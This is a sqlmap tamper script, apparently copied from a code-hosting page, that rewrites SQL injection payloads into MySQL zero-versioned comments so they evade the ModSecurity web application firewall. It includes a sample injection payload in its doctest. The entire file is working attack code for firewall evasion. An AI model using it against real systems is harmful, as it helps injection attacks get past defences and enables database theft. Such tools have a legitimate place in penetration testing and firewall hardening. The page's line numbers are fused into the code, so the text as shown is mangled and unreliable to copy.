Path: blob/master/tamper/modsecurityzeroversioned.py
2983 views
#!/usr/bin/env python12"""3Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)4See the file 'LICENSE' for copying permission5"""67import os89from lib.core.common import singleTimeWarnMessage10from lib.core.enums import DBMS11from lib.core.enums import PRIORITY1213__priority__ = PRIORITY.HIGHER1415def dependencies():16singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))1718def tamper(payload, **kwargs):19"""20Embraces complete query with (MySQL) zero-versioned comment2122Requirement:23* MySQL2425Tested against:26* MySQL 5.02728Notes:29* Useful to bypass ModSecurity WAF3031>>> tamper('1 AND 2>1--')32'1 /*!00000AND 2>1*/--'33"""3435retVal = payload3637if payload:38postfix = ''39for comment in ('#', '--', '/*'):40if comment in payload:41postfix = payload[payload.find(comment):]42payload = payload[:payload.find(comment)]43break44if ' ' in payload:45retVal = "%s /*!00000%s*/%s" % (payload[:payload.find(' ')], payload[payload.find(' ') + 1:], postfix)4647return retVal484950